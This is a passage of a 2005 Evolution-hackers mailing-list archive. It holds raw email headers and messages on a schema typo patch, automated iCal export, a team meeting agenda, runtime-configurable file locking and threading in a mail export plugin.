PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpSQ1MgZmlsZTogL2N2cy9nbm9tZS9l dm9sdXRpb24vc2hlbGwvYXBwc19ldm9sdXRpb25fc2hlbGwuc2NoZW1hcy5pbi5pbix2DQpyZXRy aWV2aW5nIHJldmlzaW9uIDEuMTANCmRpZmYgLXUgLXIxLjEwIGFwcHNfZXZvbHV0aW9uX3NoZWxs LnNjaGVtYXMuaW4uaW4NCi0tLSBzaGVsbC9hcHBzX2V2b2x1dGlvbl9zaGVsbC5zY2hlbWFzLmlu LmluCTggRmViIDIwMDUgMDA6Mzg6MTAgLTAwMDAJMS4xMA0KKysrIHNoZWxsL2FwcHNfZXZvbHV0 aW9uX3NoZWxsLnNjaGVtYXMuaW4uaW4JMTMgRmViIDIwMDUgMDQ6MjU6MjkgLTAwMDANCkBAIC0x MTQsNyArMTE0LDcgQEANCiAgICAgICA8ZGVmYXVsdD50b29sYmFyPC9kZWZhdWx0Pg0KICAgICAg IDxsb2NhbGUgbmFtZT0iQyI+DQogICAgICAgICA8c2hvcnQ+V2luZG93IGJ1dHRvbiBzdHlsZTwv c2hvcnQ+DQotICAgICAgICA8bG9uZz5UaGUgc3R5bGUgb2YgdGhlIHdpbmRvdyBidXR0b25zLiAg Q2FuIGJlICJ0ZXh0IiwgImljb25zIiwgImJvdGgiLCAidG9vbGJhciIuICBJZiAidG9vbGJhciIg aXMgc2V0LCB0aGUgc3R5bGUgb2YgdGhlIGJ1dXRvbnMgaXMgZGV0ZXJtaW5lZCBieSB0aGUgR05P TUUgdG9vbGJhciBzZXR0aW5nLjwvbG9uZz4NCisgICAgICAgIDxsb25nPlRoZSBzdHlsZSBvZiB0 aGUgd2luZG93IGJ1dHRvbnMuICBDYW4gYmUgInRleHQiLCAiaWNvbnMiLCAiYm90aCIsICJ0b29s YmFyIi4gIElmICJ0b29sYmFyIiBpcyBzZXQsIHRoZSBzdHlsZSBvZiB0aGUgYnV0dG9ucyBpcyBk ZXRlcm1pbmVkIGJ5IHRoZSBHTk9NRSB0b29sYmFyIHNldHRpbmcuPC9sb25nPg0KICAgICAgIDwv bG9jYWxlPg0KICAgICA8L3NjaGVtYT4NCiANCg== --=-3YFoFO18k4r1+HumWCYN-- --=-VYl5rSBHYbiJ9cahWhZM Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP MESSAGE----- Version: GnuPG v1.4.0 (GNU/Linux) iD8DBQBCDtfNAbRzNODUnpkRAr8+AJwPWFOXZHsHJkLKjaafn+BbNgMtXQCfU/gV HrDkTMiwCm0wB2rQcT246po= =K9MM -----END PGP MESSAGE----- --=-VYl5rSBHYbiJ9cahWhZM-- From ak-47@gmx.net Sun Feb 13 10:05:42 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 2C34412427C; Sun, 13 Feb 2005 10:05:42 -0500 (EST) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by lists.ximian.com (Postfix) with SMTP id 120331240F8 for ; Sun, 13 Feb 2005 10:05:30 -0500 (EST) Received: (qmail invoked by alias); 13 Feb 2005 15:05:28 -0000 Received: from unknown (EHLO hab01.dialup.callax-network.net) (81.209.204.171) by mail.gmx.net (mp027) with SMTP; 13 Feb 2005 16:05:28 +0100 X-Authenticated: #726810 Subject: Re: [Evolution-hackers] Typos fix in the schemas (needs string changes) From: Andre Klapper To: evolution-hackers@lists.ximian.com In-Reply-To: <1108269005.6081.50.camel@zeus.codehall.org> References: <1108269005.6081.50.camel@zeus.codehall.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-vZ2XOABCHfXY+DoO+jGh" Date: Sun, 13 Feb 2005 15:20:43 +0100 Message-Id: <1108304443.5307.13.camel@embrace.local> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Y-GMX-Trusted: 0 X-Spam-Status: No, hits=-19.6 required=5.0 tests=BAYES_30,FROM_ENDS_IN_NUMS,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-vZ2XOABCHfXY+DoO+jGh Content-Type: text/plain Content-Transfer-Encoding: quoted-printable hi changwoo, Am Sonntag, den 13.02.2005, 13:30 +0900 schrieb Changwoo Ryu: > Found two typos while translating. One is a simple English typo, the > other is a malformed schema (used which should be ). =20 this is a fix for bug 72542 by the way, your patch misses the diffs for the changelog. generally, patches should be send to evolution-patches@lists.ximian.com (or just attach your fix to the bug, due to string freeze i don't know if this can go into 2.1/2.2). cheers & thanks, andre --=20 mailto:ak-47@gmx.net | failed! http://www.iomc.de --=-vZ2XOABCHfXY+DoO+jGh Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQBCD2I7UZw3dUr5LoARAq9nAKCqapDp3LP19a1FWj9DMyNlrgAM9QCeMK3y sm6bOvPamS2Dx6L5jl3v3y8= =wgl6 -----END PGP SIGNATURE----- --=-vZ2XOABCHfXY+DoO+jGh-- From alispost@gmail.com Sun Feb 13 12:54:11 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8772E124967; Sun, 13 Feb 2005 12:54:11 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.205]) by lists.ximian.com (Postfix) with ESMTP id 2649E124096 for ; Sun, 13 Feb 2005 12:53:20 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 69so514829wra for ; Sun, 13 Feb 2005 09:53:19 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=CmHgUhCch5DXcG7n/0foJS27Yzp8Fr/tzqcMvu3iPu2PHpxSykzejCiVnNzM64Egodvp36Wrsg8dKk18x6c0Xlg3DEHfSVXpoExvq0CbjVv78ZK9lNdPKqFJ31kXW63meyLVtRfKgzjrJ55010E2GVFnioDjjtso0+AJoG3TCg0= Received: by 10.54.41.20 with SMTP id o20mr34718wro; Sun, 13 Feb 2005 09:53:19 -0800 (PST) Received: by 10.54.23.55 with HTTP; Sun, 13 Feb 2005 09:53:19 -0800 (PST) Message-ID: <46d2106605021309532dc8df61@mail.gmail.com> Date: Sun, 13 Feb 2005 18:53:19 +0100 From: ali Reply-To: ali To: evolution-hackers@lists.ximian.com Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Automated export of iCal files Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi together, in the last few days i have been researching to find out, how to pubshlish my calender data in the web. I found much groupware software which is half-evolution ready, or is planning to be compatible to it (Plugins missing and stuff alike). I now found a way: Export my calender data using evolution 2 into the iCal format, put this file online via webdav, ftp and then let it be parsed by some cron-controled shell-script. But in the step of publishing the information to the server (which of the protocols are used is not important to me) i get a problem: Evolution has no option to do so. I can't export to a WebDAV resource that easily. It seems as this is not implemented (at least i did not find anything in the docs) and so i was wondering if there is a command line option to export the calender, so that a shell script on my debian system will export my calender data every 3 hours, put it online and care about parsing. I need this so that there is an autmated process that holds my online calender data up to date. I wasn't able to figure out a better way, so i'm looking for the cli option for evolution to export to iCal format. Can anybody help out here? Thanks in advance Al From stephane@cs.york.ac.uk Sun Feb 13 19:14:42 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 2E81B124392; Sun, 13 Feb 2005 19:14:42 -0500 (EST) Received: from mailgw.cs.york.ac.uk (mailgw.cs.york.ac.uk [144.32.40.3]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 7D35212432F for ; Sun, 13 Feb 2005 19:14:30 -0500 (EST) Received: from minster.cs.york.ac.uk ([144.32.40.2]) by mailgw.cs.york.ac.uk with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1D0TrH-0001tj-Uf; Mon, 14 Feb 2005 00:12:59 +0000 Received: from venice.cs.york.ac.uk ([144.32.40.17] helo=localhost.localdomain ident=2103) by minster.cs.york.ac.uk with esmtp (Exim 4.44) id 1D0TrH-0006o4-Nx; Mon, 14 Feb 2005 00:13:00 +0000 Subject: Re: [Evolution-hackers] Automated export of iCal files From: =?ISO-8859-1?Q?St=E9phane?= Konstantaropoulos To: ali Cc: evolution-hackers@lists.ximian.com In-Reply-To: <46d2106605021309532dc8df61@mail.gmail.com> References: <46d2106605021309532dc8df61@mail.gmail.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-zpn+UkWo0471y1QgMifm" Organization: Computer Science, University of York Date: Mon, 14 Feb 2005 00:13:01 +0000 Message-Id: <1108339981.8764.8.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3-1.1.101mdk X-Spam-Status: No, hits=-18.7 required=5.0 tests=IN_REP_TO,PGP_SIGNATURE_2,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-zpn+UkWo0471y1QgMifm Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Le dimanche 13 f=C3=A9vrier 2005 =C3=A0 18:53 +0100, ali a =C3=A9crit : > Hi together, >=20 > in the last few days i have been researching to find out, how to > pubshlish my calender data in the web. I found much groupware > software which is half-evolution ready, or is planning to be > compatible to it (Plugins missing and stuff alike). >=20 > I now found a way: Export my calender data using evolution 2 into the > iCal format, put this file online via webdav, ftp and then let it be > parsed by some cron-controled shell-script. > But in the step of publishing the information to the server (which of > the protocols are used is not important to me) i get a problem: > Evolution has no option to do so. I can't export to a WebDAV resource > that easily. It seems as this is not implemented (at least i did not > find anything in the docs) and so i was wondering if there is a > command line option to export the calender, so that a shell script on > my debian system will export my calender data every 3 hours, put it > online and care about parsing. >=20 > I need this so that there is an autmated process that holds my online > calender data up to date. I wasn't able to figure out a better way, so > i'm looking for the cli option for evolution to export to iCal > format. >=20 > Can anybody help out here? > Thanks in advance >=20 > Al Hi, This is a feature request, and a GNOME bounty, I am working on it and I almost have it working, I need to clean up the patch and see if the evolution-hackers will accept it but... In the meantime, no, evolution does not do it, well at least not the whole calendar. Patience, --=20 St=C3=A9phane Konstantaropoulos Computer Science, University of York --=-zpn+UkWo0471y1QgMifm Content-Type: application/pgp-signature; name=signature.asc Content-Description: Ceci est une partie de message =?ISO-8859-1?Q?num=E9riquement?= =?ISO-8859-1?Q?_sign=E9e?= -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQBCD+0NsZFoeToEeG4RAoPEAJ9TjWTAZZwafVy1Wm45esGQW1RPXACeK1qI MhhKmGug3pDFqqB9ia5sS58= =CaME -----END PGP SIGNATURE----- --=-zpn+UkWo0471y1QgMifm-- From alispost@gmail.com Mon Feb 14 14:52:26 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B93FC12451A; Mon, 14 Feb 2005 14:52:26 -0500 (EST) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.203]) by lists.ximian.com (Postfix) with ESMTP id 65B271244DB for ; Mon, 14 Feb 2005 14:52:14 -0500 (EST) Received: by wproxy.gmail.com with SMTP id 69so677154wra for ; Mon, 14 Feb 2005 11:52:13 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=ViiUQpA0EgurVJ9D0KdZ+pQCFQYu8WlfUZ/Y8ACNxMKjr2W/3jF5HOTvu0knbzNMu2GLj5zVkvCZTu6CgTrNmNmLwNAQta5jmP9Q3qCQrabBgd3iYmhZAxLwgYZwOBgXfKc3JhObWK4DPonFb4W19CAlhE/h/Aq1Dg7EtlVp6Fg= Received: by 10.54.41.71 with SMTP id o71mr209405wro; Mon, 14 Feb 2005 11:52:13 -0800 (PST) Received: by 10.54.23.55 with HTTP; Mon, 14 Feb 2005 11:52:13 -0800 (PST) Message-ID: <46d2106605021411525db81698@mail.gmail.com> Date: Mon, 14 Feb 2005 20:52:13 +0100 From: ali Reply-To: ali To: =?ISO-8859-1?Q?St=E9phane_Konstantaropoulos?= Subject: Re: [Evolution-hackers] Automated export of iCal files Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1108339981.8764.8.camel@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable References: <46d2106605021309532dc8df61@mail.gmail.com> <1108339981.8764.8.camel@localhost.localdomain> X-Spam-Status: No, hits=-15.5 required=5.0 tests=BAYES_20,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi Stephane, thanks for your comment. I will wait until either your patch or other activities on this topic have reached beta-testing-level to test it. On Mon, 14 Feb 2005 00:13:01 +0000, St=E9phane Konstantaropoulos wrote: > Le dimanche 13 f=E9vrier 2005 =E0 18:53 +0100, ali a =E9crit : > > Hi together, > > > > in the last few days i have been researching to find out, how to > > pubshlish my calender data in the web. I found much groupware > > software which is half-evolution ready, or is planning to be > > compatible to it (Plugins missing and stuff alike). > > > > I now found a way: Export my calender data using evolution 2 into the > > iCal format, put this file online via webdav, ftp and then let it be > > parsed by some cron-controled shell-script. > > But in the step of publishing the information to the server (which of > > the protocols are used is not important to me) i get a problem: > > Evolution has no option to do so. I can't export to a WebDAV resource > > that easily. It seems as this is not implemented (at least i did not > > find anything in the docs) and so i was wondering if there is a > > command line option to export the calender, so that a shell script on > > my debian system will export my calender data every 3 hours, put it > > online and care about parsing. > > > > I need this so that there is an autmated process that holds my online > > calender data up to date. I wasn't able to figure out a better way, so > > i'm looking for the cli option for evolution to export to iCal > > format. > > > > Can anybody help out here? > > Thanks in advance > > > > Al >=20 > Hi, >=20 > This is a feature request, and a GNOME bounty, I am working on it and I > almost have it working, I need to clean up the patch and see if the > evolution-hackers will accept it but... >=20 > In the meantime, no, evolution does not do it, well at least not the > whole calendar. >=20 > Patience, > -- > St=E9phane Konstantaropoulos > Computer Science, University of York >=20 >=20 > From jpr@novell.com Tue Feb 15 01:22:37 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ABC2D124D7F; Tue, 15 Feb 2005 01:22:37 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id C9607124D81 for ; Tue, 15 Feb 2005 01:22:25 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Mon, 14 Feb 2005 23:22:13 -0700 From: JP Rosevear To: gene-pool@ximian.com Cc: Evolution Hackers mailing list Content-Type: text/plain Organization: Novell, Inc. Date: Tue, 15 Feb 2005 01:21:57 -0500 Message-Id: <1108448517.6456.55.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Novell people, send a status report if you can't make it. 10am Boston time (UTC -0500) on Wednesday. This meeting will take place on irc.gimp.org, #evolution-meet 1. JP -2.1 development status -2.2.0 and 2.2.1 timeline -2.1 notification reminder -Patch review mode reminder 2. Team -individual status reports 3. Additional Business -questions, concerns, etc. -JP -- JP Rosevear Novell, Inc. From ealtin@parkyeri.com Tue Feb 15 11:54:44 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id DA917124E72; Tue, 15 Feb 2005 11:54:44 -0500 (EST) Received: from fatstacks.parkyeri.net (unknown [193.192.101.206]) by lists.ximian.com (Postfix) with ESMTP id C6D7B124E5C for ; Tue, 15 Feb 2005 11:54:30 -0500 (EST) Received: from [81.214.124.250] (helo=roadrunner-parkyeri) by fatstacks.parkyeri.net with asmtp (Exim 3.35 #1 (Debian)) id 1D15y0-0008TD-00; Tue, 15 Feb 2005 18:54:29 +0200 From: Enver ALTIN To: evolution-hackers@lists.ximian.com Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-hcprXR5ie3lSpnrmRhGc" Organization: Parkyeri Date: Tue, 15 Feb 2005 18:54:14 +0200 Message-Id: <1108486454.7881.67.camel@roadrunner.skyblue.gen.tr> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=-0.9 required=5.0 tests=BAYES_30,PGP_SIGNATURE_2,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Making file-locking configurable at runtime? (UG#4795) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-hcprXR5ie3lSpnrmRhGc Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Hi, We have a somewhat complex intranet consisting of several XDMCP/NFS servers and we're running applications with NFS mounted home folders (probably other folders too). NFS servers are running in vserver context and are using somewhat modified kernels (some security and vserver patches added) so I've been told that we're not able to get rpc.statd work properly. Thus, neither fcntl() nor flock() works for us. For that reason, I have re-packaged evolution with file-locking disabled and dot-locking enabled. While we're at it, we have been wondering if it could be possible to make it configurable at runtime. What I think is, to convert compile time things a lookup to GConf and do the preferred way of locking. If I come up with a patch implementing this, would that ever get committed? Thanks, --=20 .O. ..O Enver ALTIN | http://skyblue.gen.tr/ OOO Software developer @ Parkyeri | http://www.parkyeri.com/ --=-hcprXR5ie3lSpnrmRhGc Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) iD8DBQBCEik2ZCB2FZvqK0sRAs1MAJ9gl2djQdWvg5gDI/Z5KqE+PXKMmwCeNM8O tvNithH8ecoiX8HZ+q7XZTY= =r4WH -----END PGP SIGNATURE----- --=-hcprXR5ie3lSpnrmRhGc-- From notzed@ximian.com Tue Feb 15 19:32:17 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 023B6124B3D; Tue, 15 Feb 2005 19:32:16 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id A7A16124E8F for ; Tue, 15 Feb 2005 19:32:05 -0500 (EST) Received: (qmail 14754 invoked from network); 16 Feb 2005 00:32:04 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 16 Feb 2005 00:32:04 -0000 Subject: Re: [Evolution-hackers] Making file-locking configurable at runtime? (UG#4795) From: Not Zed To: Enver ALTIN Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1108486454.7881.67.camel@roadrunner.skyblue.gen.tr> References: <1108486454.7881.67.camel@roadrunner.skyblue.gen.tr> Content-Type: multipart/alternative; boundary="=-KsYENbYSBmpr/ETOJ0Bp" Date: Wed, 16 Feb 2005 08:26:44 +0800 Message-Id: <1108513604.4972.36.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-17.3 required=5.0 tests=EMAIL_ATTRIBUTION,HTML_20_30,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-KsYENbYSBmpr/ETOJ0Bp Content-Type: text/plain Content-Transfer-Encoding: 7bit On Tue, 2005-02-15 at 18:54 +0200, Enver ALTIN wrote: > Hi, > > We have a somewhat complex intranet consisting of several XDMCP/NFS > servers and we're running applications with NFS mounted home folders > (probably other folders too). > > NFS servers are running in vserver context and are using somewhat > modified kernels (some security and vserver patches added) so I've been > told that we're not able to get rpc.statd work properly. Thus, neither > fcntl() nor flock() works for us. > > For that reason, I have re-packaged evolution with file-locking disabled > and dot-locking enabled. While we're at it, we have been wondering if it > could be possible to make it configurable at runtime. Well thats why its configurable at build time, *generally* it is a site issue, and evolution is free software. Although it is possible to conceive of complex situations in which 2 different locking types were required on different filesystems. > What I think is, to convert compile time things a lookup to GConf and do > the preferred way of locking. If I come up with a patch implementing > this, would that ever get committed? An environmental variable would probably suffice. Is there any reason that wouldn't be good enough? camel definitely can't use gconf, although an api could be added to set the locking mode, and that called from code that can. --=-KsYENbYSBmpr/ETOJ0Bp Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Tue, 2005-02-15 at 18:54 +0200, Enver ALTIN wrote: 
Hi,

We have a somewhat complex intranet consisting of several XDMCP/NFS
servers and we're running applications with NFS mounted home folders
(probably other folders too).

NFS servers are running in vserver context and are using somewhat
modified kernels (some security and vserver patches added) so I've been
told that we're not able to get rpc.statd work properly. Thus, neither
fcntl() nor flock() works for us.

For that reason, I have re-packaged evolution with file-locking disabled
and dot-locking enabled. While we're at it, we have been wondering if it
could be possible to make it configurable at runtime.
Well thats why its configurable at build time, *generally* it is a site issue, and evolution is free software.  Although it is possible to conceive of complex situations in which 2 different locking types were required on different filesystems. 
What I think is, to convert compile time things a lookup to GConf and do
the preferred way of locking. If I come up with a patch implementing
this, would that ever get committed?
An environmental variable would probably suffice.  Is there any reason that wouldn't be good enough?

camel definitely can't use gconf, although an api could be added to set the locking mode, and that called from code that can.



--=-KsYENbYSBmpr/ETOJ0Bp-- From notzed@ximian.com Wed Feb 16 03:46:07 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4EBB6124EBF; Wed, 16 Feb 2005 03:46:07 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 59054124206 for ; Wed, 16 Feb 2005 03:45:55 -0500 (EST) Received: (qmail 15213 invoked from network); 16 Feb 2005 08:45:52 -0000 Received: from localhost (HELO ?192.168.1.56?) (127.0.0.1) by localhost with SMTP; 16 Feb 2005 08:45:52 -0000 Subject: Re: [Evolution-hackers] EPlugin, export mail folder, Update! From: Not Zed To: smurfd Cc: evolution-hackers@lists.ximian.com In-Reply-To: <1108148144.22547.14.camel@192.168.1.5> References: <1099011143.1019.11.camel@localhost.localdomain> <1100789458.15224.9.camel@localhost.localdomain> <1100836172.10838.127.camel@lostzed.mmc.com.au> <1100982290.16626.47.camel@localhost.localdomain> <1101095738.8961.19.camel@lostzed.mmc.com.au> <1101225710.23468.50.camel@localhost.localdomain> <1101259289.4648.26.camel@lostzed.mmc.com.au> <1103078190.6171.37.camel@localhost.localdomain> <1103503793.7539.72.camel@lostzed.mmc.com.au> <1106106356.24483.14.camel@localhost.localdomain> <1106108732.28087.28.camel@lostzed.mmc.com.au> <1106187210.1353.23.camel@localhost.localdomain> <1106619154.23363.3.camel@lostzed.mmc.com.au> <1108148144.22547.14.camel@192.168.1.5> Content-Type: multipart/alternative; boundary="=-2K7dctTP/BJEsWrO7X23" Date: Wed, 16 Feb 2005 16:40:24 +0800 Message-Id: <1108543224.28727.8.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-17.3 required=5.0 tests=EMAIL_ATTRIBUTION,HTML_20_30,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-2K7dctTP/BJEsWrO7X23 Content-Type: text/plain Content-Transfer-Encoding: 7bit On Fri, 2005-02-11 at 19:55 +0100, smurfd wrote: > >Using the mail-mt stuff is good since it does some of the setup work > >for you, and lets you setup 4 callbacks, one to say what you're doing, > >one to do the work in the other thread, one to do any work back in the > >gui thread, and one to clean up. You also have a little control over > >scheduling - i.e. should it run in a new thread or just use one of the > >thread queues, so you don't get too much thrashing. > > Ah okey, well i have been into using that sollution a couple of times, > but well i still havent really got it to work as i wanted it. > > Today i realised Why i havent got it to work as i wanted it. > > well i have 3 functions in that struct that gets executed, and thought > that a 4th could be used to run the compression part there. > so i got 'a__desc', 'a__exp', 'a__cpio', 'a__free' so the thought here > was to get __exp to deliver the mails to the location where i wanted it, > say /home/smurfd/backup/ and then to run the compression on That > folder. > > Why you ask, why not just run the compression on the right-clicked > folder? Well ive been heavily debating this (with myself) and after many > debates, i came up with that running it on the exported directory would > be better, since than i wouldnt have to care about if the user > right-clicks a non-local folder, say IMAP or whatever for the > compression part. > > sounds sane? > > That way, i need to have the "exportion" part to be finished Before the > compression part takes place. > Easy, just have the compression part take place in the __cpio function, > right? > NO, that wont work, and after serious thinking, serious headsmashing, i > realised Why that is... > > Thats because in the __exp i have 'mail_get_folder()' wich itself spawns > a new thread, and that way, the __exp thinks its work is done, before it > "really" is... Well, you should be running the whole shooting match in another thread already? You are right? Then you don't use mail_get_folder() at all, you can just use the camel calls directly, or the mail helper, mail_tools_uri_to_folder(). You then use camel_operation to pass any status to the main ui, if you need to. You could also perhaps do mail_msg_wait() on the return of mail_get_folder(), although it would be simpler to avoid all that extra thread stuff entirely. > So im gonna have to borrow some more code i guess... and make small > modifications on it to fit my needs. > > Better to re-use, than to re-invent i guess. :) > > Best regards > /Nicklas > > --=-2K7dctTP/BJEsWrO7X23 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Fri, 2005-02-11 at 19:55 +0100, smurfd wrote: 
>Using the mail-mt stuff is good since it does some of the setup work
>for you, and lets you setup 4 callbacks, one to say what you're doing,
>one to do the work in the other thread, one to do any work back in the
>gui thread, and one to clean up.  You also have a little control over
>scheduling - i.e. should it run in a new thread or just use one of the
>thread queues, so you don't get too much thrashing.

Ah okey, well i have been into using that sollution a couple of times,
but well i still havent really got it to work as i wanted it.

